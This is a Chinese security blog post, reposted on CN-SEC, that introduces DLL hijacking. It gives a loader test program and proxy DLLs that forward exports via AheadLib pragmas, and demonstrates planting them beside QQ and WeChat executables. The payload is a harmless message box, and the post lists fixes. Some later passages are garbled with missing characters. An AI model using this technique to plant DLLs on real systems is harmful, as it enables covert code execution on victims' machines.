初探DLL劫持

admin 2021年11月30日03:15:40逆向工程评论97 views7729字阅读25分45秒阅读模式

 //初探dll劫持-ooo//

文章很长

预计阅读时间:不知道

// 简介 //

1.利⽤Window可以先加载当前⽬录下的dll特性,仿造系统的【正常.dll】,让应⽤程序先加载我们的 【test.dll】,然后在我们的dll中去调⽤原来系统的原函数。
2.在当前程序所在⽬录下伪造⼀个与系统同名的DLL,提供同样的输出表,并使每个输出函数转向真正的系统 DLL。这样,程序调⽤系统DLL时会先调⽤当前程序所在⽬录下的伪装的DLL,完成我们的操作后再跳到系统 DLL同名函数⾥执⾏。

 

初探DLL劫持




// 环境 //

备注:以下⼯具可以⽹上下载
代码编辑⼯具:vs2019社区版
测试dll⽂件:test.dll
进程监控⼯具:Procmon.exe
函数导出⼯具:AheadLib.exe
被劫持程序:QQ、wei信





// 过程 //

1.先使⽤vs2019社区版创建⼀个项⽬名为222cc,新建源⽂件为22.cpp,操作步骤:新建-项⽬-选择空 项⽬即可进程监控⼯具:Procmon.exe
函数导出⼯具:AheadLib.exe
被劫持程序:QQ、wei信

初探DLL劫持

代码如下

#include <iostream>#include <Windows.h>using namespace std;int main(){// 定义⼀个函数类DLLFUNCtypedef void(*DLLFUNC)(void);DLLFUNC GetDllfunc = NULL;// 指定动态加载dll库HINSTANCE hinst = LoadLibrary(L"test.dll");//要加载的DLLif (hinst != NULL) {// 获取函数位置GetDllfunc = (DLLFUNC)GetProcAddress(hinst, "msg");//函数名}if (GetDllfunc != NULL) {//运⾏msg函数(*GetDllfunc)();}}


代码从表⾯看很好理解,加载到test.dll就进⾏函数调⽤(这⾥以为被调⽤的dll也要存在msg函数,后⾯发 现也可以不⽤,原来是个误区)。这⾥进⾏64位编译,⽬前来看debug和Release模式都区别不⼤,反正 能⽤就是了,不要注意到是64位程序调⽤64位dll,32位程序调⽤32位dll,不然容易报错。⽣成后会在⽬录中存在两个⽂件,222cc.exe是我们需要的

初探DLL劫持

在cmd中运⾏看看,啥也没输出是不是,对的,因为没加载到test.dll

初探DLL劫持

题外话:这⾥因为是⽩盒测试,知道源代码,假如不知道源代码的情况下,我们可以⽤OD或者windbg 来查看

初探DLL劫持

那我们新建⼀个动态链接dll⽂件,操作位置如下图

初探DLL劫持

代码也是很简单,做⼀个消息弹窗效果,这⾥就编译dllmain.cpp就可以了,其他⽂件不⽤管

 代码如下

// dllmain.cpp : 定义 DLL 应⽤程序的⼊⼝点。#include "pch.h"// 头⽂件#include <Windows.h>BOOL APIENTRY DllMain(HMODULE hModule,DWORD ul_reason_for_call,LPVOID lpReserved){switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:{MessageBox(NULL, (LPCTSTR)TEXT("⼤⾃然666"), (LPCTSTR)TEXT("test"),MB_OK);}case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;}

使⽤64位和32位分别编译看看效果

  32位运⾏效果

初探DLL劫持

  64位运⾏效果

初探DLL劫持

先把32位的lmx.dll拉⼊222cc.exe同路径下,并且改名为test.dll,运⾏222cc.exe,没任何效果

初探DLL劫持

替换成64位的试试,成功加载到test.dll,弹出消息框

初探DLL劫持

测试实验到这⾥就结束了,下⾯进⾏实战



// 修复 //

1.在加载 DLL 时尽量使⽤ DLL 的绝对路径。
2.验证 DLL 的合法性,例如是否具有⾃家的合法数字签名、是否是合法的系统 DLL ⽂件。



// 实战劫持1 //

1.⾸先我们进⾏到qq.exe的运⾏⽬录下,发现存在⼤量dll⽂件,⽹上有很多批量化测试dll劫持的⼯具, 我这⾥使⽤笨办法,直接选择⼏个dll⽂件,删除,看看提示,能不能启动qq 初探DLL劫持
然后双击qq.exe,提示缺少arkFS.dll⽂件,那就对这个dll进⾏下⼿

初探DLL劫持

使⽤Procmon.exe对进程进⾏监控,查看dll调⽤情况,发现是先从根⽬录再到其他⽬录依次寻找 arkFs.dll
⽂件 ⼀般先设置过滤条件,这个⽹上可以百度

初探DLL劫持



初探DLL劫持

2.使⽤AheadLib.exe进⾏函数导出,纯傻⽠式操作,点击⽣成,dll代码都给你写好了,稍微改动⼀下就 可以使⽤,在前⼈写好的⼯具下操作是不是⾮常简单,选择转发函数,原始dll为arkFSOrg,名字可以⾃ 定义,看你⾃⼰喜欢。

初探DLL劫持

代码改动如下:

// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "pch.h"////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 头文件#include <Windows.h>////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 导出函数#pragma comment(linker, "/EXPORT:arkFSArkToSyspath=arkFSOrg.arkFSArkToSyspath,@1")#pragma comment(linker, "/EXPORT:arkFSCreateDirectory=arkFSOrg.arkFSCreateDirectory,@2")#pragma comment(linker, "/EXPORT:arkFSCreateStub=arkFSOrg.arkFSCreateStub,@3")#pragma comment(linker, "/EXPORT:arkFSDeleteStub=arkFSOrg.arkFSDeleteStub,@4")#pragma comment(linker, "/EXPORT:arkFSInitFileSystem=arkFSOrg.arkFSInitFileSystem,@5")#pragma comment(linker, "/EXPORT:arkFSMountPath=arkFSOrg.arkFSMountPath,@6")#pragma comment(linker, "/EXPORT:arkFSUnmountPath=arkFSOrg.arkFSUnmountPath,@7")#pragma comment(linker, "/EXPORT:arkfsBeginTrans=arkFSOrg.arkfsBeginTrans,@8")#pragma comment(linker, "/EXPORT:arkfsCloseDir=arkFSOrg.arkfsCloseDir,@9")#pragma comment(linker, "/EXPORT:arkfsCloseEnum=arkFSOrg.arkfsCloseEnum,@10")#pragma comment(linker, "/EXPORT:arkfsCloseFile=arkFSOrg.arkfsCloseFile,@11")#pragma comment(linker, "/EXPORT:arkfsCommitTrans=arkFSOrg.arkfsCommitTrans,@12")#pragma comment(linker, "/EXPORT:arkfsCopyFile=arkFSOrg.arkfsCopyFile,@13")#pragma comment(linker, "/EXPORT:arkfsCreateEnum=arkFSOrg.arkfsCreateEnum,@14")#pragma comment(linker, "/EXPORT:arkfsCreateEnumIndir=arkFSOrg.arkfsCreateEnumIndir,@15")#pragma comment(linker, "/EXPORT:arkfsCreateFile=arkFSOrg.arkfsCreateFile,@16")#pragma comment(linker, "/EXPORT:arkfsCreateFileIndir=arkFSOrg.arkfsCreateFileIndir,@17")#pragma comment(linker, "/EXPORT:arkfsDeleteDirectory=arkFSOrg.arkfsDeleteDirectory,@18")#pragma comment(linker, "/EXPORT:arkfsDeleteFile=arkFSOrg.arkfsDeleteFile,@19")#pragma comment(linker, "/EXPORT:arkfsError=arkFSOrg.arkfsError,@20")
#pragma comment(linker, "/EXPORT:arkfsGetFullName=arkFSOrg.arkfsGetFullName,@21")#pragma comment(linker, "/EXPORT:arkfsGetName=arkFSOrg.arkfsGetName,@22")#pragma comment(linker, "/EXPORT:arkfsIsDirectory=arkFSOrg.arkfsIsDirectory,@23")#pragma comment(linker, "/EXPORT:arkfsIsDirectoryExist=arkFSOrg.arkfsIsDirectoryExist,@24")#pragma comment(linker, "/EXPORT:arkfsIsFileExist=arkFSOrg.arkfsIsFileExist,@25")#pragma comment(linker, "/EXPORT:arkfsMoveFile=arkFSOrg.arkfsMoveFile,@26")#pragma comment(linker, "/EXPORT:arkfsMoveNext=arkFSOrg.arkfsMoveNext,@27")#pragma comment(linker, "/EXPORT:arkfsOpenDir=arkFSOrg.arkfsOpenDir,@28")#pragma comment(linker, "/EXPORT:arkfsRead=arkFSOrg.arkfsRead,@29")#pragma comment(linker, "/EXPORT:arkfsRenameFile=arkFSOrg.arkfsRenameFile,@30")#pragma comment(linker, "/EXPORT:arkfsReset=arkFSOrg.arkfsReset,@31")#pragma comment(linker, "/EXPORT:arkfsResize=arkFSOrg.arkfsResize,@32")#pragma comment(linker, "/EXPORT:arkfsSeek=arkFSOrg.arkfsSeek,@33")#pragma comment(linker, "/EXPORT:arkfsTell=arkFSOrg.arkfsTell,@34")#pragma comment(linker, "/EXPORT:arkfsWrite=arkFSOrg.arkfsWrite,@35")////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 入口函数BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved){if (dwReason == DLL_PROCESS_ATTACH){DisableThreadLibraryCalls(hModule);MessageBox(NULL, (LPCTSTR)TEXT("我是一只南极企鹅"), (LPCTSTR)TEXT("test"), MB_OK);}else if (dwReason == DLL_PROCESS_DETACH){}return TRUE;}////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

人会为什么出函dll,dll,
3.qqx86C:Program Files (x86)TencentQQBin;qqarkFS.dll
arkFS0rg.dll,dllarkFS.dll制到qqqq

(1)64dllqq

初探DLL劫持


(2)32dll功加qq

初探DLL劫持



// 实战劫持2 //

1.weiC:Program Files (x86)TencentWeChatdll

初探DLL劫持


2.使AheadLib.exelibFFmpeg.dll,32dll

出函太多

// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "pch.h"////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 头文件#include <Windows.h>////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 导出函数#函数太多,我这里就不贴出来了////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 入口函数BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved){    if (dwReason == DLL_PROCESS_ATTACH)    {        DisableThreadLibraryCalls(hModule);        MessageBox(NULL, (LPCTSTR)TEXT("我是一只北极企鹅"), (LPCTSTR)TEXT("test"), MB_OK);    }    else if (dwReason == DLL_PROCESS_DETACH)    {    }    return TRUE;}///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

初探DLL劫持

3.libFFmpeg.dll命名libFFmpeg1rg.dll把我dllwei命名
libFFmpeg.dll,

初探DLL劫持

wei信也

初探DLL劫持




/J1wa深思时刻(作者原话)/


1.qqwei等等

2.github,一
3.dll仅仅testcs线
4.dll


联系邮箱:[email protected]





//每日毒鸡汤//

 人生的游戏不在于拿了一副好牌,而在于怎样去打好坏牌,世上没有常胜将军,勇于超越自我者才能得到最后的奖杯。

----托马斯.齐夫斯基.火源



●---------------------------------------○
· 愿天下苍生,人人如龙 ·
○---------------------------------------●
 

————————————⊙

                                          初探DLL劫持

                                ⊙————————————



本文始发于微信公众号(默社安全):初探DLL劫持

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年11月30日03:15:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  初探DLL劫持 http://cn-sec.com/archives/436226.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: